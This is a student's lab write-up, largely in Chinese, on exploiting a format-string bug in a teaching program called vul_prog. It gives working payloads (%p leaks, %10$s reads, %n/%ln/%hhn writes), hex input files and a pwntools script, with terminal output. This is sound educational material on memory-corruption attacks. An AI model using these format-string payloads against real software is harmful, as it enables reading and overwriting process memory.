

compile the source code

Crash the program named "vul_prog.c".

```
huangjionggrui@huangjionggrui-virtual-machine:~$ ./vul_prog
The variable secret's address is 0xffffd0e0 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
1
Please enter a string
%s%s%s
段错误 (核心已转储)
```

```
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
2
Please enter a string
AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA0xffffd0b8.0xf7ffd918.0xf0b5ff.0xfffffd0de.0x1.0xc2.0xffffd1d4.0x804b008.0
x2.0x41414141.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e7025
2e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e70
25
The original secret: 0x41414141 0x552e7025
```

2. 此时需要输入我需要观察的地址（注意使用小端规则），并在第十个地址处用%s来显示该处的值。

```

huangjionggrui@huangjionggrui-virtual-machine:~/anquanbianc$ ./vul_prog
The variable secret's address is 0xffffcfff0 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
1
Please enter a string
\x0c\x04\x08%10$s
段错误 (核心已转储)
huangjionggrui@huangjionggrui-virtual-machine:~/anquanbianc$ ./vul_prog
The variable secret's address is 0xffffcfff0 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
1
Please enter a string
\x0c\x04\x08%10$p
\x0c\x04\x080x6330785c
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55

```

发现出现段错误，经过检查发现程序没有将\x0c进行转义。需要使用新的方法进行尝试。

3. 想到学linux时曾经使用过管道来进行自定义的输入和输出，于是使用010editor软件新建了一个hex的文件。文件内容如下：

	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F	0123456789ABCDEF
0000h:	32	0A	0C	B0	04	08	25	31	30	24	73	0A					2..°..%10\$s.

其中0x32和0x0A代表了输入的10进制为2，0A是换行符。

之后的4字节则是小端规则下的我想看的secret的地址，后面接上%10\$s。

将文件传入linux，使用命令行重定向输入，得到以下结果：

```

huangjionggrui@huangjionggrui-virtual-machine:~/anquanbianc$ ./vul_prog < Untitled1
The variable secret's address is 0xffffcfff0 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
Please enter a string
段错误 (核心已转储)

```

发现与预期存在差异，于是将输入文件中的%10\$s改为%10\$p并重新运行程序：

```

huangjionggrui@huangjionggrui-virtual-machine:~/anquanbianc$ ./vul_prog < Untitled1
The variable secret's address is 0xffffcfff0 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
Please enter a string
0x250804b0

```

发现输出的地址不是0x0804b00c，经过仔细的观察发现程序将小端规则下最前面的0x0C忽略了却把之后的% (ascii恰为0x25) 给拼在了后面。于是很自然的怀疑是没有对齐，于是在输入的字符串前又加了个垃圾数据。

	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F	0123456789ABCDEF
0000h:	32	0A	77	0C	B0	04	08	25	31	30	24	70	0A				2.w.°..%10\$p.

之后运行：

```

huangjionggrui@huangjionggrui-virtual-machine:~/anquanbianc$ ./vul_prog < Untitled1
The variable secret's address is 0xffffcfff0 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
Please enter a string
w
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55

```

这次更牛逼了，连地址都不给输出了。事情至此陷入僵局，不管我怎么加怎么改，就是不能输入正确的地址。这个问题我真的找了好多好多好多好多天，我甚至后来花了时间自学用python调用pwn库去写，照样过不了!!!

```

from pwn import *

sh = process('./vul_prog')

sh.recv()
sleep(0.5)
payload = '1234'
sh.sendline(payload)
sh.recv()
payload = "" + p32(0x804b00c) + "%10$s"
sh.sendline(payload)
print(sh.recv())

```

4. 后来（半个月之后），我偶然间去看了0x0C的ascii码，然后发现，它的ASCII码居然是.....换页符.....

所以我每次输入字符串的时候换页符像回车一样是读不进去的啊!!! 我表演一个当场去世!!

ok，问题找到了，可是怎么改呢？既然不能有0x0C出现在字符串中，那么可以改地址，我直接对secret[0]做改动，一次改俩，也是可以操作到secret[1]处的地址。

所以，根据这个我们将输入文件更改：

	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F
0000h:	32	0A	08	B0	04	08	25	31	30	24	6C	6C	73	0A			2	

用程序运行后可以看到输出：

```

huangjionggrui@huangjionggrui-virtual-machine:~/anquanbianc$ ./vul_prog < Untitled1
The variable secret's address is 0xffffcfff0 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
Please enter a string
DU
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55

```

其中D的ascii码正是0x44，U的ascii为0x55，而第二个字母正是我要看的secret[1]。终于成功了!!!!!!!

Modify the secret[1] value.

都能看到难道还不会改，嘿嘿。

把上一个输入文件改为%10\$ln即可。

```
huangjionggrui@huangjionggrui-virtual-machine:~/anquanbianc$ ./vul_prog < Untitled1
The variable secret's address is 0xffffcfff0 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
Please enter a string
004
The original secrets: 0x44 -- 0x55
The new secrets:      0x4 -- 0x0
```

可以看到将secret[1]改为了0，虽然出于无奈，把secret[0]也一起改掉了。

Modify the secret[1] value to a pre-determined value.

本部分是在助教xgg指点下完成的。

我发现我不能通过secret[0]的地址改到secret[1]。但是发现之前输入的数字也是保存在栈中，且可以很容易发现它的偏移量是9，就是格式化字符串开始地址的前一个地址。

所以，可以利用这一个特性，在数字输入时恰好输入需要改变处的地址，然后将偏移量调整到该处。使用%n来对此处的值进行任意的修改。

以下为构造的文件和运行结果：

```
huangjionggrui@huangjionggrui-virtual-machine:~/anquanbianc$ hd Untitled1
00000000  31 33 34 35 32 34 39 34  30 0a 25 31 30 30 78 25  |134524940.%100x%|
00000010  39 24 6e 0a                                     |9$n.|
00000014

huangjionggrui@huangjionggrui-virtual-machine:~/anquanbianc$ ./vul_prog < Untitled1
1
The variable secret's address is 0xffffd0c0 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
Please enter a string

ffffd0c8
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x64
```

可以发现secret[1]的地址变为了我输入的100。

但在我完成作业以后我又思考了一会，既然一个secret占有4个字节，虽然我不能改到地址为0x0C的位置，但我能够更改诸如0x0E处的字节，这样也影响到了secret[1]的地址。

	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F	0123456789ABCDEF
0000h:	31	0A	0E	B0	04	08	25	31	30	24	68	68	6E				1..°..%10\$hhn

```
huangjionggrui@huangjionggrui-virtual-machine:~/anquanbianc$ ./vul_prog < Untitled
2
The variable secret's address is 0xffffd0c0 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
Please enter a string
◆ 00
  04
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x40055
```

由于原来secret[1]在0x804b00E处是0，现在将它改为4，因此系统将小端规则下的0x55,0x00,0x04,0x00，解析为0x40055。因此通过这个办法也可以一定程度的更改secret[1]的值。